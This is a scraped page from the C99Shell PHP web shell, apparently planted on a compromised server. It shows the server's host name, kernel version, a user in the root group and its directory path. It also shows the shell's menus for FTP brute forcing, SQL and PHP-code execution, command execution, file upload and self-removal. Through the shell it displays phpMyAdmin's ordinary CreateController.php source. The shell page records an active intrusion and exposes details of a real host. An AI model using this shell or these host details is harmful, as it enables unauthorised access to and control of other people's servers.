!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/libraries/classes/Controllers/Server/Databases/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CreateController.php (3.18 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Controllers\Server\Databases;

use 
PhpMyAdmin\Charsets;
use 
PhpMyAdmin\Controllers\AbstractController;
use 
PhpMyAdmin\DatabaseInterface;
use 
PhpMyAdmin\Html\Generator;
use 
PhpMyAdmin\Message;
use 
PhpMyAdmin\ResponseRenderer;
use 
PhpMyAdmin\Template;
use 
PhpMyAdmin\Url;
use 
PhpMyAdmin\Util;

use function 
__;
use function 
array_key_exists;
use function 
explode;
use function 
mb_strlen;
use function 
mb_strtolower;
use function 
str_contains;

final class 
CreateController extends AbstractController
{
    
/** @var DatabaseInterface */
    
private $dbi;

    public function 
__construct(ResponseRenderer $responseTemplate $templateDatabaseInterface $dbi)
    {
        
parent::__construct($response$template);
        
$this->dbi $dbi;
    }

    public function 
__invoke(): void
    
{
        global 
$cfg$db;

        
$params = [
            
'new_db' => $_POST['new_db'] ?? null,
            
'db_collation' => $_POST['db_collation'] ?? null,
        ];

        if (! isset(
$params['new_db']) || mb_strlen($params['new_db']) === || ! $this->response->isAjax()) {
            
$this->response->addJSON(['message' => Message::error()]);

            return;
        }

        
// lower_case_table_names=1 `DB` becomes `db`
        
if ($this->dbi->getLowerCaseNames() === '1') {
            
$params['new_db'] = mb_strtolower($params['new_db']);
        }

        
/**
         * Builds and executes the db creation sql query
         */
        
$sqlQuery 'CREATE DATABASE ' Util::backquote($params['new_db']);
        if (! empty(
$params['db_collation'])) {
            [
$databaseCharset] = explode('_'$params['db_collation']);
            
$charsets Charsets::getCharsets($this->dbi$cfg['Server']['DisableIS']);
            
$collations Charsets::getCollations($this->dbi$cfg['Server']['DisableIS']);
            if (
                
array_key_exists($databaseCharset$charsets)
                && 
array_key_exists($params['db_collation'], $collations[$databaseCharset])
            ) {
                
$sqlQuery .= ' DEFAULT'
                    
Util::getCharsetQueryPart($params['db_collation']);
            }
        }

        
$sqlQuery .= ';';

        
$result $this->dbi->tryQuery($sqlQuery);

        if (! 
$result) {
            
// avoid displaying the not-created db name in header or navi panel
            
$db '';

            
$message Message::rawError($this->dbi->getError());
            
$json = ['message' => $message];

            
$this->response->setRequestStatus(false);
        } else {
            
$db $params['new_db'];

            
$message Message::success(__('Database %1$s has been created.'));
            
$message->addParam($params['new_db']);

            
$scriptName Util::getScriptNameForOption($cfg['DefaultTabDatabase'], 'database');

            
$json = [
                
'message' => $message,
                
'sql_query' => Generator::getMessage(''$sqlQuery'success'),
                
'url' => $scriptName Url::getCommon(
                    [
'db' => $params['new_db']],
                    ! 
str_contains($scriptName'?') ? '?' '&'
                
),
            ];
        }

        
$this->response->addJSON($json);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--